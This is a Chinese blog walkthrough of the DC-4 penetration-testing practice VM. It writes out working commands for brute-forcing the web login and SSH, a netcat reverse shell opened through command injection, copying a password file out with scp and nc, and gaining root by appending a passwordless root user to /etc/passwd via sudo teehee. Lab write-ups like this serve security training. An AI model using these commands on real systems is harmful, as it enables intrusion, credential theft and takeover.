学习笔记-DC4-WalkThrough

DC4-WalkThrough


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


靶机地址

Description

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

Technical Information

DC-4 is a VirtualBox VM built on Debian 32 bit, so there should be no issues running it on most PCs.

If there are any issues running this VM in VMware, have a read through of this.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.

知识点

  • web 登录爆破 (前期)
  • web 命令执行 (中期)
  • 反弹 shell (中期)
  • SSH 爆破 (后期)
  • linux 提权 (后期)

实验环境

环境仅供参考

  • VMware® Workstation 15 Pro - 15.0.0 build-10134415
  • kali : NAT 模式,192.168.141.134
  • 靶机 : NAT 模式

前期-信息收集

开始进行 IP 探活

nmap -sP 192.168.141.0/24

排除法,去掉自己、宿主机、网关, 192.168.141.137 就是目标了

扫描开放端口

nmap -T5 -A -v -p- 192.168.141.137

一个 web ,一个 ssh,先看看 web 有什么信息

单纯一个登录页面,没有任何其他逻辑功能,比如密码找回、注册

那么接下来有几种手段,直接爆破账号密码,SQL注入,和爆破目录敏感文件等,这里都可以使用 wfuzz 进行完成

直接爆破弱口令试试,注意,这里名称叫做"Admin Information Systems Login" 那么账号名很可能就是 "admin" 或 "systems",密码字典可以直接使用 kali 自带的 /usr/share/wordlists/rockyou.txt

head -10000 /usr/share/wordlists/rockyou.txt > test.txt
wfuzz -v -w test.txt -d "username=admin&password=FUZZ" --hh 206 -u http://192.168.141.137/login.php

解释一下,第一句是把 rockyou.txt 前 10000 行单独创建为一个文件 test.txt,源文件太大了足足1000多W行,wfuzz直接无法识别字典。

可见,跑出了 payload 也就是密码 happy


中期-漏洞利用

直接登录发现存在运行执行代码的功能点

这里可以在 burp 中拦截请求,将 payload 改为我们需要的命令

这里 kali 做好监听

nc -lvp 4444

修改包执行回弹命令

nc -nv 192.168.141.134 4444 -e /bin/bash

此时 kali 以收到弹回的 shell,给他改成方便交互的

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm


后期-提权

接下来要想办法提权,查看能够登录的帐号

cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash

查看目录

ls /home/jim
ls /home/sam
ls /home/charles
ls /tmp

/home/jim/ 下发现了 mbox 文件,但是没权限读,那么想办法登录 jim

/home/jim/backups 下发现了 old-passwords.bak 文件,用 scp 命令从靶机传到 kali 上去

scp /home/jim/backups/old-passwords.bak root@192.168.141.134:/

当然用 nc 也可以直接传

nc -nvlp 5555 > old-passwords.bak
nc 192.168.141.134 5555 < /home/jim/backups/old-passwords.bak

看了下 old-passwords.bak 内容,是个密码表,那么直接用它爆破 SSH

hydra -l jim -P /old-passwords.bak 192.168.141.137 ssh

登录,并查看 mbox 内容

看上去像是一份邮件,去 /var/mail 看看是否有信息

发现一份 charles 给 jim 的信,他要去度假,老板让他把密码给 jim,ok 收获 charles 密码 ^xHhA&hvim0y

登录 charles 用户并尝试提权

su charles
sudo -l

Charles 可以使用 sudo 权限运行 teehee。teehee 可以干嘛?可以将标准输入复制到我们选择的文件中。那么我可以直接写一个 root 权限的用户到 /etc/passwd 下,也可以直接在 sudoers 里给 charles 所有权限

  1. 直接写个 root 权限用户

    echo "test::0:0:::/bin/sh" | sudo teehee -a /etc/passwd
    su test
    whoami
    

  2. 在 sudoers 里给 charles 所有权限

    echo "charles ALL=(ALL:ALL) ALL" | sudo teehee /etc/sudoers
    sudo -l
    sudo su
    

提权成功,感谢靶机作者 @DCUA7

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

posted @ 2022-11-03 12:34  syscallwww  阅读(56)  评论(0编辑  收藏  举报